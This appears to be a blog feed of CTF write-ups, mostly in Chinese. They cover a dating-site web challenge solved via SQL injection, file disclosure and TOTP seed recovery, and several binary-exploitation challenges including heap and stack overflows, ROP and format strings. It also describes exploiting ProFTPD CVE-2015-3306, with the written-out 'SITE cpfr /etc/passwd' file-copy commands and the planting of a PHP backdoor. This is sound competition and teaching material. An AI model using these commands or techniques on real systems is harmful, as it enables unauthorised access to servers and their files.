還需要填入 oath 解 <code>TOTPKEY</code> 的結果才能成功登入<br>
可以用以下指令來解:<br>
<code>oathtool --base32 --totp AAAAAAAAAAAA</code><br>
得到的結果是一個 6 位數字<br>
會隨時間改變, 所以要趕快登入 XDD<br>
註冊的時候試了一下如果帳號前四碼相同<br>
<code>TOTPKEY</code> 得到的結果都一樣<br>
一開始以為只要註冊前面開頭一樣的帳號<br>
就可以拿到 …</p><p>這題能解出來要歸功於<br>
<strong>ding</strong>, <strong>happyholic1203</strong>, <strong>mangoking</strong>, <strong>jpeanut</strong><br>
已經把前面的問題都找出了<br>
我其實只是撿尾刀而已... </p>
<hr>
<p>不過還是厚著臉皮寫一下 write up<br>
不然這邊 web 分類文章都空空蕩蕩... </p>
<p>這題的背景故事是<br>
有一個叫做 <strong>Donald Trump</strong> 的傢伙在這個交友網站註冊了帳號<br>
用來當作販毒的聯絡管道云云<br>
需要破出他的二段式認證 (<code>password</code> + <code>TOTPKEY</code>) 登入他的帳號<br>
這題的 <code>flag = md5(TOTPKEY + password)</code> </p>
<p>這個交友網站除了一般的帳號密碼以外<br>
還需要填入 oath 解 <code>TOTPKEY</code> 的結果才能成功登入<br>
可以用以下指令來解:<br>
<code>oathtool --base32 --totp AAAAAAAAAAAA</code><br>
得到的結果是一個 6 位數字<br>
會隨時間改變, 所以要趕快登入 XDD<br>
註冊的時候試了一下如果帳號前四碼相同<br>
<code>TOTPKEY</code> 得到的結果都一樣<br>
一開始以為只要註冊前面開頭一樣的帳號<br>
就可以拿到 <code>TOTPKEY</code>了 (後來才發現事情沒這麼簡單 Orz)<br>
所以把目標先鎖定在拿到 <code>password</code><br>
登入之後有幾個功能:</p>
<ul>
<li>Edit Profile</li>
<li>Search User</li>
<li>Send Message</li>
</ul>
<p>...沒有登出, 想換帳號都要刪 cookie 超麻煩 = =<br>
cookie 的格式是 <code>username_timestamp_sha1ofsomething</code><br>
原本在猜後面的 sha1 可能跟密碼有關<br>
打算試試看能不能偷到 <strong>Donald Trump</strong> 的 cookie<br>
<code>Send Message</code> 其實沒有對特殊字元作過濾<br>
可以完整個插入 <code><script>alert(1);</script></code> 到網頁裡面<br>
但是, <em><em>沒有任何反應</em></em> ......<br>
仔細研究了一下, 發現網站的 header 有加入 CSP<br>
CSP 可以限定那些才是合法的 js 來源<br>
這個網站的設定只有源自 <a href="">https://api.google.com</a> 才可以被執行<br>
因此插入的 XSS 這招是無效的...<br>
查了很久都沒有可以繞過的方式 Orz </p>
<p>不過也不是毫無所獲<br>
從 CSP header 發現了一個 uri: <code>report-uri /csp/violate</code><br>
接著追到 <a href="">http://54.210.118.179/csp/view</a> 這個頁面<br>
有趣的是...這個頁面存在 <strong>SQL injection</strong> 的問題<br>
把所有欄位拉出來之後, 發現存在 <code>user_password</code> 這個欄位<br>
<code>user_password</code> 的結果是 sha256 hash<br>
做幾個實驗後, 發現應該是加入 username 當成 salt<br>
結果會是 <code>user_password = sha256(username+password)</code><br>
把結果拿去爆一下 得到密碼是 <code>6</code><br>
(這邊我們弄錯帳號名稱了, 所以真正的密碼不是這組 XDD)<br>
搭配剛剛用開頭相頭所得到的 <code>TOTPKEY</code><br>
拿去做 md5 再送記分板就得到.... <em>Wrong flag</em> </p>
<p>事實上根據剛剛的 <code>TOTPKEY</code> & <code>password</code> 也沒辦法成功登入<br>
後來討論時某人發現昨天和今天註冊的 <code>TOTPKEY</code> 不一樣<br>
原本在想是不是加入時間因素下去算<br>
但是又有人說昨天和今天註冊的帳號 <code>TOTPKEY</code> 都一樣...XD<br>
後來想想應該不是時間, 可能是 ip 之類的因子<br>
但是我們還是不知道 <code>TOTPKEY</code> 是怎麼拿到的...<br>
只好尋找其他的方向 </p>
<p>那這個網站除了 sqli 以外<br>
其實還有 LFI 的問題<br>
<code>Edit Profile</code> 的功能有一個設定頭像的功能<br>
會讀外部的 url, 並檢查是不是圖片<br>
如果是的話設定成頭像<br>
如果不是圖片就會跳 Exception<br>
然後把檔案內容當成錯誤資訊印出來<br>
在這邊做了各種嘗試<br>
像是去撈 apache 的設定檔<br>
還有 <code>settings.py</code> 以後<br>
最後猜到網頁是寫在 <code>/var/html/weeb/server.py</code><br>
閱讀原始碼後, 發現 <code>TOTPKEY</code> 的算法如下:</p>
<div class="highlight"><pre><span></span> 34 def generate_seed(username, ip_address):
35 return int(struct.unpack('I', socket.inet_aton(ip_address))[0]) + struct.unpack('I', username[:4].ljust(4,'0'))[0]
36
37 def get_totp_key(seed):
38 random.seed(seed)
39 return pyotp.random_base32(16, random)
</pre></div>
<p>的確如我們所推測是靠 <code>username</code> + <code>ip</code> 去算的<br>
但只是當成 seed 接著還要取 random XD<br>
到這邊幾乎就已經解出來了...可以成功登入<br>
只是送 flag 還是發現不對<br>
原因是弄錯帳號啦~~~
正確的帳號應該是 <code>donaldtrump</code> 才對 = =<br>
那密碼用 <code>rockyou.txt</code> 就可以破出來了~ 結果是 <code>zebra</code><br>
最後做 <code>md5("6OIMTPLHSQ6JUKYPzebra")</code> 就是這題的 flag 了 XD </p>
<p>flag: <code>a8815ecd3c2b6d8e2e884e5eb6916900</code> </p>CSAW CTF 2015 pwn 500 rhinoxorus2015-09-21T21:23:00+08:002015-09-21T21:23:00+08:00ddaatag:ddaa.tw,2015-09-21:/csawctf_pwn_500_rhinoxorus.html<p>想說這次 CSAW 從比較難的題目開始解<br>
結果 ida 打開一分鐘就看到洞了 囧<br>
不過 exploit 還是寫個 3 小時左右吧<br>
挺煩人的...</p>
<hr>
<p>這題的程式行為就是不斷的做 function call<br>
有 256 個不同的 function<br>
buf 大小不太一樣, 行為卻都類似<br>
毫無意義可言....
程式碼大概長這樣: </p>
<div class="highlight"><pre><span></span>void func_2a(char *a1, int a2)
{
char buf[100];
int len = a2 - 1;
...
if (len) {
for (i = 0; i < len; i++)
buf ^= a1[i];
func_array …</pre></div><p>想說這次 CSAW 從比較難的題目開始解<br>
結果 ida 打開一分鐘就看到洞了 囧<br>
不過 exploit 還是寫個 3 小時左右吧<br>
挺煩人的...</p>
<hr>
<p>這題的程式行為就是不斷的做 function call<br>
有 256 個不同的 function<br>
buf 大小不太一樣, 行為卻都類似<br>
毫無意義可言....
程式碼大概長這樣: </p>
<div class="highlight"><pre><span></span>void func_2a(char *a1, int a2)
{
char buf[100];
int len = a2 - 1;
...
if (len) {
for (i = 0; i < len; i++)
buf ^= a1[i];
func_array[buf[0]](&buf[1], len);
}
}
void process_connection(int fd)
{
char buf[256];
int len;
memset(buf, 0, 256);
len = recv(fd, buf, 256, 0));
if (len > 0)
func_array[buf[0]](buf, len);
}
</pre></div>
<p>這邊先定義一次 stack frame 的層數<br>
後面會比較好說明 </p>
<ol>
<li>layer0: <code>process_connetion</code> 的 stack frame </li>
<li>layer1: 第一次的 function call </li>
<li>layer2: 第二次的 function call, 後以此類推 </li>
</ol>
<p>很明顯的 overflow<br>
下一層的 buffer 一定比 <code>layer0</code> 的 256 小<br>
做 xor 時就會蓋到超出 stack frame 的範圍<br>
而且還不是直接 copy 過去<br>
是做 xor 寫值 ... 所以什麼 stack guard 根本可以無視 XDD </p>
<p>那思路其實就滿明確的<br>
<strong>先 bof, 然後做 rop</strong><br>
先隨便送個 256 字元試試...<br>
<em>Segmentation fault</em><br>
表示漏洞的確存在, 但是跟我的預期不太相符<br>
我原本是預計會發生 <em>*** stack smashing detected ***</em><br>
gdb 實際追一下發現在做 xor 的時候存取到 stack 以外的範圍了<br>
仔細看一下是因為 <code>len</code> 在 buffer 的後面...<br>
bof 會順便被改掉的關係 </p>
<p>仔細想一下 <code>len</code> 這邊也要好好設才行<br>
因為這個程式會一直 call 一直 call<br>
就算正常結束的話也會做 256 次之後才觸發 return<br>
這樣 payload 早就被 xor 得不成人形了...<br>
但是也不能再 <code>layer1</code> 就改成 0<br>
不然這樣改完 <code>len</code> 就不會繼續蓋後面的 return address 了<br>
所以理想的狀況是: </p>
<ul>
<li>在 layer1 寫好 rop chain </li>
<li>在 layer2 改掉 <code>len</code> 觸發 return </li>
</ul>
<p>所以 <code>layer1</code>, <code>layer2</code> 是哪一個 function 就要好好考慮一下 XD<br>
挑對 function exploit 會比較好寫一點<br>
<code>layer1</code> 的 buffer 要大一點, 不然 xor 會蓋到 <code>layer0</code> 的 buffer<br>
<code>layer2</code> 的 buffer 要小一點, 第二層 overflow 會蓋不到 <code>len</code><br>
我不幸挑錯 <code>layer2</code> function ...<br>
會進入到 <code>layer3</code> Orz ...<br>
變成要讓兩次 stack guard 都不能被更動才行 </p>
<p>可以觸發 return 後<br>
就用 pop 之類的先把未知的垃圾跳開<br>
讓 rop chain 可以完整地落在 buffer 上<br>
接下來我是把 stack 先移到 bss 段<br>
再跳一次 recv 接第二次 rop<br>
這樣就不會一直被 xor 弄壞了 </p>
<p>exploit: <a href="https://ddaa.tw/exp/rhinoxorus.py">rhinoxorus.py</a> </p>honeyme 2015 CTF CVE-2015-33062015-08-22T12:49:00+08:002015-08-22T12:49:00+08:00ddaatag:ddaa.tw,2015-08-22:/honeyme_pwn_cve_2015_3306.html<p>這次比賽前一天好像吃壞肚子...<br>
結果隔天遲到 將近 12 點才到會場<br>
很擔心會不會到現場題目已經被 <strong>Orange</strong> 解光了 (誤<br>
還好還是有解貢獻一點分數 XD </p>
<hr>
<p>honeyme 是採 <strong>King of the Hill</strong> 的賽制<br>
參賽隊伍要想辦法把主機首頁給換掉<br>
寫進自己的 token<br>
就可以有源源不絕的分數了~</p>
<p>其中 ip .194 這台主辦方出的漏洞是利用 <code>CVE-2015-3306</code><br>
一個 Proftpd 的邏輯漏洞<br>
在 <code>Proftpd</code> 啟用 <code>mod_copy</code> 模組的請況下<br>
允許攻擊者在尚未認證的情況下任意對檔案進行讀寫<br>
可以用以下的程式碼驗證 ftp server 是否存在漏洞: </p>
<blockquote>
<p>220 ProFTPD 1.3.4a Server (ProFTPD Default Installation) [127 …</p></blockquote><p>這次比賽前一天好像吃壞肚子...<br>
結果隔天遲到 將近 12 點才到會場<br>
很擔心會不會到現場題目已經被 <strong>Orange</strong> 解光了 (誤<br>
還好還是有解貢獻一點分數 XD </p>
<hr>
<p>honeyme 是採 <strong>King of the Hill</strong> 的賽制<br>
參賽隊伍要想辦法把主機首頁給換掉<br>
寫進自己的 token<br>
就可以有源源不絕的分數了~</p>
<p>其中 ip .194 這台主辦方出的漏洞是利用 <code>CVE-2015-3306</code><br>
一個 Proftpd 的邏輯漏洞<br>
在 <code>Proftpd</code> 啟用 <code>mod_copy</code> 模組的請況下<br>
允許攻擊者在尚未認證的情況下任意對檔案進行讀寫<br>
可以用以下的程式碼驗證 ftp server 是否存在漏洞: </p>
<blockquote>
<p>220 ProFTPD 1.3.4a Server (ProFTPD Default Installation) [127.0.0.1]<br>
<code>SITE cpfr /etc/passwd</code><br>
350 File or directory exists, ready for destination name<br>
<code>SITE cpto /tmp/gg</code><br>
250 Copy successful </p>
</blockquote>
<p>這個漏洞其實第一天就發現了<br>
可是當時不知道是主辦方刻意還是設定失誤<br>
導致 ftp server 所在的 filesystem 是 Read-only<br>
試了半天還是沒辦法成功利用
到第二天卻又修復了...<br>
一開始想直接拿 exploitdb 的 <a href="https://www.exploit-db.com/exploits/36742/">payload</a> 來攻擊主機<br>
可是失敗了...似乎是因為 sockfd 不是 3<br>
但是直接用 <code>metasploit</code> 會成功<br>
只是我對 <code>metasploit</code> 其實不是很熟<br>
一直沒辦法建立 reverse shell 回來 = =<br>
只好去 trace 兩邊的 payload 差別在哪裡 </p>
<p>兩份最大的差別是<br>
<code>metasploit</code> 取得 input 的檔案是 <code>/proc/self/cmdline</code><br>
比起從 <code>/proc/self/fd/3</code> 好用多了<br>
雖然會把當前指令也寫進檔案<br>
但是反正我們要寫的是網頁<br>
把多餘的指令註解掉就行了<br>
話說 trace msf 以後才知道原來是用 ruby 寫的...<br>
跟 ruby 不太熟不知道要怎麼拿來直接執行<br>
只好重寫一份 payload<br>
上傳了 php 後門以後<br>
剩下就交給 Orange 了 XDD </p>
<p>完整 payload: <a href="https://ddaa.tw/exp/honeyme.py">exploit</a> </p>
<hr>
<p>由於去年 honeyme 剛好跑去韓國打 secuinside<br>
無從比較題目是否有進步 XD<br>
難易度跟一般國際賽的 CTF 比起來的確有些差距 <br>
不過也沒有到賽前打聽的那麼悽慘 XD<br>
大概跟大陸那邊 xctf 一些比較小的聯賽差不多水準吧<br>
然後誠心建議不要有太多猜謎阿~<br>
比賽時間很短的 讓大家專注在技術上就好了 QQ </p>
<p>最後特別感謝有 Orange 一起參加<br>
這次 Bamboofox 參賽其實主要目的是想培育新人<br>
但是我是 web 智障阿 QQQQ<br>
還好有 Orange Carry 全場 XD<br>
兩天下來默默地學了不少 web 的技巧<br>
衷心希望下次 CTF 可以解出 web 題...<br>
打了兩年 CTF, web write-up 至今只有兩篇 囧 </p>CAMPCTF 2015 Pwn 300 datenklo manager2015-08-21T13:29:00+08:002015-08-21T13:29:00+08:00ddaatag:ddaa.tw,2015-08-21:/campctf_pwn_300_dkm.html<p>這次的 pwn 題型都很和善<br>
這題應該是裡面最難的一題 (?<br>
至少對我來說 heap 還是很難解 OTZ </p>
<hr>
<p>題目跟一般 heap 題差不多<br>
一個選單有數樣功能:</p>
<ol>
<li>List DK</li>
<li>Add DK</li>
<li>Edit DK</li>
<li>Delete DK</li>
<li>exit</li>
</ol>
<p>DK 又分成兩種類型: <code>with wifi</code>, <code>without wifi</code><br>
這個程式用到的結構如下:</p>
<div class="highlight"><pre><span></span>struct DK_base {
long lg;
long la;
void *show_ptr;
void *edit_ptr;
};
struct DK_with_wifi {
DK_base base;
char* ssid[32];
char comment[1024];
};
struct DK_without_wifi …</pre></div><p>這次的 pwn 題型都很和善<br>
這題應該是裡面最難的一題 (?<br>
至少對我來說 heap 還是很難解 OTZ </p>
<hr>
<p>題目跟一般 heap 題差不多<br>
一個選單有數樣功能:</p>
<ol>
<li>List DK</li>
<li>Add DK</li>
<li>Edit DK</li>
<li>Delete DK</li>
<li>exit</li>
</ol>
<p>DK 又分成兩種類型: <code>with wifi</code>, <code>without wifi</code><br>
這個程式用到的結構如下:</p>
<div class="highlight"><pre><span></span>struct DK_base {
long lg;
long la;
void *show_ptr;
void *edit_ptr;
};
struct DK_with_wifi {
DK_base base;
char* ssid[32];
char comment[1024];
};
struct DK_without_wifi {
DK_base base;
char comment[1024];
};
</pre></div>
<p><code>show_ptr</code> 和 <code>edit_ptr</code> 會在 <code>List DK</code> 和 <code>Edit DK</code> 的功能用到<br>
在 add 之後就會根據 DK 種類填入對應的函式位置<br>
程式根據目前 DK 的數量動態配置一個陣列來記錄 DK<br>
兩種 DK 用同一個陣列去記錄<br>
因此會根據 DK 種類不同呼叫不同的函式處理 DK </p>
<p>程式的漏洞是
先 add 一個 <code>DK_with_wifi</code><br>
接著 edit dk 將種類改成 <code>DK_without_wifi</code><br>
程式會在同一個位置將 chunk 重新 realloc 0x420 byte<br>
但是 edit 有一個選項是 <code>do not change</code><br>
會用一開始宣告時分配的 func 去處理 DK<br>
因此我們可以用處理 <code>DK_with_wifi</code> 的 edit function 去處理 <code>DK_without_wifi</code><br>
由於兩者大小相差 0x100 byte<br>
因此會導致 <code>heap overflow</code> 的問題 </p>
<p>這題我的利用方式是 <a href="https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt">The Malloc Maleficarum</a> 提到的 <code>The House of Lord</code><br>
原理是 overflow 以後把 freed chunk 的 BK 改成我們偽造的 chunk<br>
這樣下次 malloc 的時候就會得到所偽造 chunk 的位置<br>
詳細步驟如下:</p>
<ol>
<li>新增兩個 <code>DK_with_wifi</code>, 利用 <code>comment</code> 的 1024 byte 偽造兩個 freed chunk </li>
<li>用 edit 將第一個 DK 的類型改成 <code>DK_without_wifi</code> </li>
<li>再 edit 一次, 這次選 <code>Do Not Change</code>, 在 edit comment 的時候會超出 0x100 bytes </li>
<li>利用超出的 0x100 byte 把 BK 改成 第一個 chunk 的位置</li>
<li>隨便 add 一個 DK, 這個 DK malloc 得到的位置會和第一個 DK 的 comment 重疊</li>
<li>用 <code>Do Not Change</code> 編輯第一個 DK, 修改 comment 時可以改到第三個 DK 的 func ptr, 把 <code>edit_ptr</code> 改成 system </li>
<li>用 <code>Do Not Change</code> 編輯第三個 DK, 由於 <code>edit_ptr</code> 已經被改掉, 會變成執行 system </li>
</ol>
<p>libc address 和 heap address 可以利用 <code>list DK</code> 取得<br>
system 的參數剛好會落於第一個 DK comment 的位置<br>
所以可以直接 <code>system("/bin/sh")</code> 取得 shell<br>
完整 exploit: <a href="https://ddaa.tw/exp/dkm.py">exp.py</a></p>
<hr>
<p>btw, 後來 <strong>angelboy</strong> 說只要 edit 的時候 SSID 設 0<br>
下次 add 的 DK 可以直接被 overflow 蓋 func ptr 了...<br>
這題是我想太難了 OTZ </p>0CTF 2015 Exploit 250 FlagGenerator2015-04-03T00:00:00+08:002015-04-03T00:00:00+08:00ddaatag:ddaa.tw,2015-04-03:/0ctf_exploit_250_flaggenerator.html<p>這題的名稱叫 <em>FlagGenerator</em><br>
可惜沒辦法生出其他題的 flag ... XD </p>
<hr>
<p>執行程式後看到 menu 長這樣:</p>
<blockquote>
<p>== 0ops Flag Generator ==<br>
1. Input Flag<br>
2. Uppercase<br>
3. Lowercase<br>
4. Leetify<br>
5. Add Prefix<br>
6. Output Flag<br>
7. Exit<br>
=========================<br>
Your choice: </p>
</blockquote>
<p>打開 <strong>ida pro</strong> 快速檢查<br>
flag 的長度限制為 256 byte<br>
但是 <em>Leetify</em> 的功能會造成 bof<br>
原因是 <em>Leetify</em> 會將字串內的 <em>H</em> 或是 <em>h</em> 字元取代成 <em>1-1 …</em></p><p>這題的名稱叫 <em>FlagGenerator</em><br>
可惜沒辦法生出其他題的 flag ... XD </p>
<hr>
<p>執行程式後看到 menu 長這樣:</p>
<blockquote>
<p>== 0ops Flag Generator ==<br>
1. Input Flag<br>
2. Uppercase<br>
3. Lowercase<br>
4. Leetify<br>
5. Add Prefix<br>
6. Output Flag<br>
7. Exit<br>
=========================<br>
Your choice: </p>
</blockquote>
<p>打開 <strong>ida pro</strong> 快速檢查<br>
flag 的長度限制為 256 byte<br>
但是 <em>Leetify</em> 的功能會造成 bof<br>
原因是 <em>Leetify</em> 會將字串內的 <em>H</em> 或是 <em>h</em> 字元取代成 <em>1-1</em><br>
所以只要送包含夠多的 <em>H</em> 或是 <em>h</em> 字串<br>
就會超出 256 byte 了<br>
pseudo code: </p>
<div class="highlight"><pre><span></span>void Leetify(char *flag)
{
char *c = flag;
char buf[256];
for (c = flag; c != NULL; c++) {
switch(c) {
case 'H':
case 'h':
/* do leetify on buf*/
break;
}
}
buf[end] = '\0';
strcpy(flag, buf);
return;
}
</pre></div>
<p>雖然這題的 bof 發生在 stack 上<br>
但是有 <strong>stack guard</strong> 的檢查<br>
沒辦法直接改 ret addr 去控制 eip<br>
但是 return 前的 <code>strcpy()</code> 讓我們有機會繞過保護<br>
由於傳入的參數 <code>flag</code> 也是在 stack 上<br>
發生 bof 之後可以改掉參數的內容<br>
這樣 <code>strcpy()</code> 就變成可以任意寫值的漏洞<br>
我們可以將 <code>__stack_chk_fail()</code> 在 GOT 上的值指向 <code>ret</code><br>
程式就不會因為 <em>detect overflow</em> 而結束 </p>
<p>剩下就是寫 exploit 了<br>
由於這題有使用到 <code>puts()</code><br>
所以可以透過 <code>puts()</code> 去 leak 出 <strong>libc base</strong><br>
但是因為改 <code>__stack_chk_fail()</code> GOT 的同時也把其他 function 的 GOT 改壞了<br>
就沒辦法跳回 <code>main()</code> 再觸發一次 bof<br>
所以改成 return 到 <code>readn()</code> 將新的 rop payload 寫到 <strong>bss</strong> 段<br>
最後透過 <code>leave</code> 將 stack 給換到 bss 段繼續我們的 rop attack<br>
就可以成功拿到 shell 了 ~ </p>
<p>exploit: <a href="https://ddaa.tw/exp/flaggen.py">flaggen.py</a> </p>
<p>flag: <code>0ctf{delicious_stack_cookie_generates_flag}</code> </p>0CTF 2015 Exploit 300 login2015-04-03T00:00:00+08:002015-04-03T00:00:00+08:00ddaatag:ddaa.tw,2015-04-03:/0ctf_exploit_300_login.html<p>這題跟 <strong>yench</strong> 討論<br>
至少省下我一個小時突破盲點 XD<br>
上學期辛苦開程式安全終於感覺有回饋了 QQ </p>
<hr>
<p>這題是考 <strong>format string vulnerability</strong><br>
執行程式要我們輸入帳密<br>
打開 <strong>ida pro</strong> 很容易就知道帳密多少<br>
輸入 <em>guest / guest123</em> 以後成功登入<br>
接著有三個功能可以選擇: </p>
<blockquote>
<p>== 0CTF Login System ==<br>
1. Show Profile<br>
2. Login as User<br>
3. Logout<br>
=======================<br>
Your choice: </p>
</blockquote>
<p>但其實還有一個隱藏功能 <em>4</em><br>
必須讓自己的身分變成 <em>normal</em> 才能觸發<br>
功能 4 是登入成 <em>root</em> 的功能<br>
裡面有兩個很明顯的 <code>printf(buf)</code><br>
所以首先我們要讓自己的身份從 <em>guest …</em></p><p>這題跟 <strong>yench</strong> 討論<br>
至少省下我一個小時突破盲點 XD<br>
上學期辛苦開程式安全終於感覺有回饋了 QQ </p>
<hr>
<p>這題是考 <strong>format string vulnerability</strong><br>
執行程式要我們輸入帳密<br>
打開 <strong>ida pro</strong> 很容易就知道帳密多少<br>
輸入 <em>guest / guest123</em> 以後成功登入<br>
接著有三個功能可以選擇: </p>
<blockquote>
<p>== 0CTF Login System ==<br>
1. Show Profile<br>
2. Login as User<br>
3. Logout<br>
=======================<br>
Your choice: </p>
</blockquote>
<p>但其實還有一個隱藏功能 <em>4</em><br>
必須讓自己的身分變成 <em>normal</em> 才能觸發<br>
功能 4 是登入成 <em>root</em> 的功能<br>
裡面有兩個很明顯的 <code>printf(buf)</code><br>
所以首先我們要讓自己的身份從 <em>guest</em> 變成 <em>normal</em><br>
pseudo code 大概長這樣: </p>
<div class="highlight"><pre><span></span>char user[256];
int64 mode;
...
if ( choice == 4 && !mode)
root_login()
</pre></div>
<p><em>Login as User</em> 利用 <code>scanf("%256s", user)</code> 取得 <code>user</code><br>
乍看之下是剛好 但是 <code>scanf("%s")</code> 的特性會在字串結尾補上 <em>\00</em><br>
因此會有 <strong>off-by-one</strong> 的問題<br>
因此只要輸入長度 256 的 <code>user</code> 即可讓身份變為 <em>normal</em> </p>
<p>進入 <code>root_login()</code> 以後的行為如下: </p>
<div class="highlight"><pre><span></span>readn(user, 256);
pw = md5(readn(pw, 256));
if (user == "root" && pw == "0ops{secret_MD5}")
cat_flag();
printf(user);
puts("login failed.");
...
/* 2 chances */
...
exit(1);
</pre></div>
<p>登入失敗會用 <code>printf(user)</code> 印出使用者名稱<br>
一個非常明顯的 <strong>Format String</strong><br>
我一開始以為 binary 中的 <em>0ops{secret md5}</em> 是被替換掉的<br>
真實環境會放真的 md5 ... 只要 leak 出密碼就過了<br>
後來試一下才發現那個字串真的就是那樣 = =<br>
md5 的結果是 hex string 的形式<br>
所以不可能滿足條件 XD </p>
<p>由於最後會用 <code>exit(1)</code> 結束程式<br>
沒辦法透過改 ret address 去控制程式<br>
所以很直覺的會想改 <code>exit()</code> 的 GOT<br>
但是寫完 exploit 才發現這題的 GOT 竟然是 <em>read-only</em> XDDD<br>
不確定是因為 <strong>PIE</strong> 的緣故或是有開啟其他保護機制 </p>
<p>乍看之下無技可施了<br>
正當我在嘗試研究 <code>memcpy()</code> 內部的是不是有可以利用的同時<br>
<strong>yench</strong> 提醒我能不能改 <code>printf()</code> 的 rbp 去控制程式<br>
結果是沒辦法~ 因為 <code>printf()</code> 最後沒有 leave<br>
但是這讓我想起去年 <strong>HITCON</strong> 的某一題<br>
是利用 <code>sprinf()</code> 任意改值造成 overflow 的二次利用<br>
果然這題也是類似的做法<br>
由於實際發生 <strong>Format String</strong> 是在 printf 內部的 <code>vprintf()</code><br>
因此可以將 <code>printf()</code> 的 return address 給改掉 </p>
<p>有兩次 <code>printf()</code> 可以利用<br>
因此只要第一次 leak 出 <strong>libc base</strong> 以及 <strong>stack base</strong><br>
第二次可以做 rop 攻擊<br>
改 ret 跳到 <code>pop rdi</code> 再到 <code>system()</code> 就拿到這題的 shell 了~ </p>
<p>exploit: <a href="https://ddaa.tw/exp/login.py">login.py</a> </p>
<p>flag: <code>0ctf{login_success_and_welcome_back}</code> </p>Codegate CTF 2015 pwn 1000 sokoban2015-03-24T12:55:00+08:002015-03-24T12:55:00+08:00ddaatag:ddaa.tw,2015-03-24:/codegate_pwn_1000_sokoban.html<p>The challenge is a game that called <strong>sokoban</strong>. lol<br>
After we passed the first levels, we entered a menu and were able to choose the game mode. </p>
<hr>
<p>The menu looked like: </p>
<blockquote>
<ol>
<li>Go to random infinite challenge mode </li>
<li>Go to next stage </li>
</ol>
</blockquote>
<p>Next, we opened IDA pro and reversed the binary …</p><p>The challenge is a game that called <strong>sokoban</strong>. lol<br>
After we passed the first levels, we entered a menu and were able to choose the game mode. </p>
<hr>
<p>The menu looked like: </p>
<blockquote>
<ol>
<li>Go to random infinite challenge mode </li>
<li>Go to next stage </li>
</ol>
</blockquote>
<p>Next, we opened IDA pro and reversed the binary.<br>
We could easily find the code like: </p>
<div class="highlight"><pre><span></span>if (playgame() == 1)
get_flag();
puts(s);
return;
</pre></div>
<p>Then we traced how is the return value assigned...... </p>
<div class="highlight"><pre><span></span>// just pseudo code
if (win)
passed++;
return (passed == 228) ? 2 : 0;
</pre></div>
<p>228 is the amount of all levels.<br>
It seems impossible to arrive <code>get_flag()</code>. XD<br>
But our goal is very clear, <strong>control the EIP and go to <code>get_flag()</code></strong>. </p>
<p>We accidentally found the game sometimes generates a blank map in random mode then checks the rule of movement, it restricts the character by the element in the map, not the size of map.<br>
Therefore, once we could get the blank map, we were able to move the character to anyware in <strong>bss segment</strong> and <strong>GOT segment</strong>. </p>
<p>There is the defination of elements: </p>
<ul>
<li>\x00: nothing</li>
<li>\x01: destination of box</li>
<li>\x02: wall</li>
<li>other: it's not important.</li>
</ul>
<p>According to the rule of sokoban, we could push a byte onto <code>\x00</code> or <code>\x01</code>.<br>
It's very difficult to use......<br>
I tried to move the content of GOT at first, but I found GOT looks like: </p>
<blockquote>
<p><a href="mailto:time@got.plt">time@got.plt</a>: 0xf7ffafa0 0x00007fff 0x00400dd6 0x00000000<br>
<a href="mailto:wgetch@got.plt">wgetch@got.plt</a>: 0xf7bc2f90 0x00007fff 0x00400df6 0x00000000<br>
<a href="mailto:noecho@got.plt">noecho@got.plt</a>: 0xf7bc0a50 0x00007fff 0x00400e16 0x00000000<br>
<a href="mailto:wmove@got.plt">wmove@got.plt</a>: 0xf7bc4e40 0x00007fff 0xf799de70 0x00007fff<br>
<a href="mailto:mvprintw@got.plt">mvprintw@got.plt</a>: 0xf7bc7db0 0x00007fff 0xf7bc0ad0 0x00007fff </p>
</blockquote>
<p>Almost all bytes are adjacent to each other.<br>
Therefore, we couldn't change the GOT area at most situation except ASLR was enable.<br>
For example, it's possible to make a libc address likes <strong>0x7fffff00xx</strong>.<br>
So we could modify a byte on GOT to somewhere in libc. </p>
<p>Still seem useless....<br>
But after I checked all possible gadgets, I found a magic gadget at <strong>0x3e260</strong>.<br>
That is <code>add rsp, 0x28; (pop XX)*6; ret</code>.<br>
Furthermore, the address of <code>rand()</code> is <strong>0x3d060</strong>.<br>
If we modify <code>rand()</code> to that magic gadget, the return address is <strong>0x401a9a</strong> after we execute <code>rand()</code> again.<br>
Luckily, there are a hidden function in the game.<br>
If we press <code>v</code>, it will add 0x12 on <strong>0x60c120</strong>.<br>
And, 0x3e260 - 0x3d060 = 0x12...... </p>
<p>So, hence we had already bypassed the action of assign value to <code>EAX</code>.<br>
If we could control <code>EAX</code> and set <code>EAX = 1</code>, we entered the function <code>get_flag()</code>.<br>
Lucklily, if the argument of wgetch is \x00, the return value will be 1.<br>
On x86 architecture, the return value will be stored in <code>EAX</code>.<br>
<code>EAX</code> won't be modified until we call <code>rand()</code>.<br>
Finally, the program will print the flag. :) </p>
<p>flag: <code>WH0n in OOme, ZZ as 12e RolanS</code> </p>Boston Key Party CTF 2015 Pwn 275 Harvard Square2015-03-02T01:50:00+08:002015-03-02T01:50:00+08:00ddaatag:ddaa.tw,2015-03-02:/bkpctf_pwn_275_harvard_square.html<p>This problem was worth 275 pts, but I thought it is easier than other red problems. XD<br>
We could reverse it happily beacuse the programe wasn't stipped. </p>
<hr>
<p>The problem is a game about transcation of 0days.<br>
We could enter the password and cheated the game, but it's useless. XD<br>
After …</p><p>This problem was worth 275 pts, but I thought it is easier than other red problems. XD<br>
We could reverse it happily beacuse the programe wasn't stipped. </p>
<hr>
<p>The problem is a game about transcation of 0days.<br>
We could enter the password and cheated the game, but it's useless. XD<br>
After executing the binary, the game printed the message: </p>
<blockquote>
<p>Welcome to 0day Warz - The goal of the game is to get the $100M USD by the end of the game. You have been given a loan of $2000, with some high interest rate of 25% a day! </p>
</blockquote>
<p>The program for the goal of game: </p>
<div class="highlight"><pre><span></span>void play_game() {
...
if (owed == 0.0) {
if (money > 9999999)
action_hiscore();
}
...
}
void action_hiscore() {
char buf[268];
....
read(0, buf, 0x400);
...
}
</pre></div>
<p>However, if understood the game rule, we could know the condition is impossible to reach.<br>
So we must find another vulunerbility.<br>
In fact, there is a bof when <code>play_game()</code> starting.<br>
It couldn't overflow the return address, but we could use it to change function pointers. :D </p>
<p>The program use <a href="https://github.com/dhamidi/simple-gc/">simple-gc</a>.<br>
It will create two garbage-collectors and put function pointer <code>exploit_free</code> and <code>string_free</code> to gc.<br>
Then, gc will trigger when we do <code>sleep</code> action.<br>
We could overwrite function ptr to <code>action_hiscore</code>, and we could overwrite the return address. </p>
<p>We could write the exploit until now.<br>
Honestly, I am not familar with x64 architecture exploit.<br>
I wasted a lot of time to debug my code. :( </p>
